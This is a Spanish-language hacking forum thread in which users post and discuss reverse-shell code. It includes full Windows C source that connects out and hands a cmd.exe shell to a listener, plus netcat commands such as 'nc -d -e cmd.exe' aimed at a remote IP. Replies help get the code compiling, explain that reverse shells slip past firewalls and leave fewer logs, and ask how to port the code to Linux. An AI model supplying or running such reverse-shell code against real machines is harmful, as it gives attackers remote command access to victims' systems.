Páginas: [1]
|
 |
|
Autor
|
Tema: Reverse Shell (Leído 6360 veces)
|
Gospel
Colaborador
Desconectado
Mensajes: 1.592
|
Wola..... 1) La idea es dejar el netcat escuchando en un determinado puerto (nc -l -p 4444 -vv) y q al ejecutar un exploit, la shellcode me devuelva la shell remota a la otra ventana con el netcat a la escucha... El equivalente a la instruccion: nc -d -e cmd.exe 10.10.0.1 4444  Alguien me puede ayudar a encontrar una shellcode q devuelva una reverse shell a un determinado puerto con un nc a la escucha??? 2) En la linea a esta duda, he encontrado los siguientes codigos de Adik q se supone devuelven una reverse cmd shell a una direccion y puerto configurables en el propio código!!! Ojo, no son shellcodes (como ando pidiendo al principio de este post)... Adik reverse cmd shell @ http://citadelle.intrinsec.com/mailing/current/HTML/ml_bugtraq_vuln_dev/5076.htmlEn este link podréis encontrar tanto el código en C como en ASM... posteo el C para vuestra comodidad... #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32")
void main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(55); adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
} Supuestamente, este código devuelve una reverse shell a un netcat escuchando en el puerto 55 reverse cmd shell
Will spit back command shell on ur listening netcat on ur localhost (127.0.0.1) port 55
set up ur netcat eg. nc -l -p 55 -vv Bueno, el caso es q he intentado compilar este código con VisualC++, Dev-C++, LCC y hasta Cygwin cambiando las cabeceras!!!!! y me da errores en todos :'( asi q si alguien es tan amable de probarlo por su cuenta y tiene exito, q me avise. Gracias Salu2
|
|
|
|
« Última modificación: 02 Marzo 2004, 02:49 por gospel »
|
En línea
|
|
|
|
byebye
Desconectado
Mensajes: 5.104
|
si compila en dev c++, añadele ws2_32 desde el menu proyecto > opciones de proyecto > parametros > añadir biblioteca u objeto.
|
|
|
|
|
En línea
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.592
|
Mierdaaaaaaaaaaaaaaa..... era un cpp no un c.... Ahora si me compila con VC++  BTW, estoy empezando a odiar el Dev-C++ (vaya gracia eso de cambiar las librerias de nombre...) He probao el código de Adik y SI: funciona perfectamente... Wuay, si alguien me ayuda con lo de la shellcode ya soy el hombre mas feliz del mundo por un par de días  Gracias Potato Salu2
|
|
|
|
« Última modificación: 02 Marzo 2004, 03:52 por gospel »
|
En línea
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.592
|
1) La idea es dejar el netcat escuchando en un determinado puerto (nc -l -p 4444 -vv) y q al ejecutar un exploit, la shellcode me devuelva la shell remota a la otra ventana con el netcat a la escucha... El equivalente a la instruccion: nc -d -e cmd.exe 10.10.0.1 4444  Alguien me puede ayudar a encontrar una shellcode q devuelva una reverse shell a un determinado puerto con un nc a la escucha??? Bien, estaba pensando y me he dao cuenta q esto no se puede pedir, ya q se supone q en la shellcode tendrían q configurarse el puerto y IP destino..... y no tengo tanta idea de shellcodes... Ahora me surge la duda, q diferencia hay entre una shellcode q "binds a port" o q da una "reverse shell"?? En principio, llego a q la shellcode q "binds a port", deja un puerto a la escucha en la máquina q se ejecuta para q te conectes remotamente con telnet y nc y te devuelva la shell. Ahora bien, la "reverse shell" no dependerá sólo de la shellcode, intervendrá el código del exploit, no? Bueno, si alguien me puede aclarar un poco cómo funciona esto de la reverse shell en un exploit y q es lo q realmente hace la shellcode al ejecutarse, le estaría agradecido.... Salu2
|
|
|
|
|
En línea
|
|
|
|
ksys
Desconectado
Mensajes: 34
ksys
|
Bien, estaba pensando y me he dao cuenta q esto no se puede pedir, ya q se supone q en la shellcode tendrían q configurarse el puerto y IP destino..... y no tengo tanta idea de shellcodes...
gospel !!! Claro !! juer..., pero siemre puedes utiizar un servicio como el de no-ip.com el cual tiene cliente tanto para güindows como para LinuX  Probaré a ver k tal...
|
|
|
|
|
En línea
|
|
|
|
Amadeus
Desconectado
Mensajes: 26
I love Nmap
|
Gospel si lo consigues ya sabes, pls postealo que toy interesado. (no consigo que el otro deje el puerto a la escucha..)
thx y salu2
|
|
|
|
|
En línea
|
|
|
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.523
|
Pues lo has explicado bastante bien. Las shellcodes normales hacen un bind port, que es lo que tu has dixo, abren un puerto alto (>1024) y ahi colocan un cmd.exe (explicacion simple). Las reverse shell se usan para evitar firewalls (ya que el ekipo atacado no recibe ninguna conexion por un puerto alto, que puede estar filtrado, sino que la envia, que puede no estar filtrado) y, las mas sofisticadas, para utilizar la MISMA conexion TCP para ejecutar la shell (casi imposible de evitar con un firewall). Ademas, no genera tantos logs. Por eso se usan la reverse shell. http://www.elhacker.net/exploits/Al final hay una scode reverse shell, PERO, hay que toquetear la scode   :D Salu2
|
|
|
|
|
En línea
|
|
|
|
pinkfeet
Desconectado
Mensajes: 7
¡Amo YaBB SE!
|
olassss, estoy pensando hacer una version linux de este reverse shell y las primeras dudas k me asaltan son las siguientes: si.dwFlags = STARTF_USESTDHANDLES; // permite que redirijamos in,out,err al socket si.hStdInput = si.hStdOutput = si.hStdError = (void *)socketLlamada; // redireccion propiamente dicha CreateProcess(NULL,"cmd",NULL,NULL,true,0,NULL,NULL,&si,&pi); // llamada al proceso, hasta aki todo ok y basandome en esta idea... como puedo redigir el in,out y err en linux en mis llamadas a proceso ? fork,execve,system y popen no me permiten hacerlo especificando un descriptor de socket como en el caso de la struct STARTUPINFO para CreateProccess no ? refinitiva: podria 'preparar el terreno' por asi decirlo para que la siguiente llamada a execve por ejemplo engendrara la shell con el in,out y err 'enpipadas' en un socket de conexion previamente establecido? Salu2 p.d: buxas braciasssss!!!!
|
|
|
|
|
En línea
|
|
|
|
|
|
|
Páginas: [1]
|
|
|
|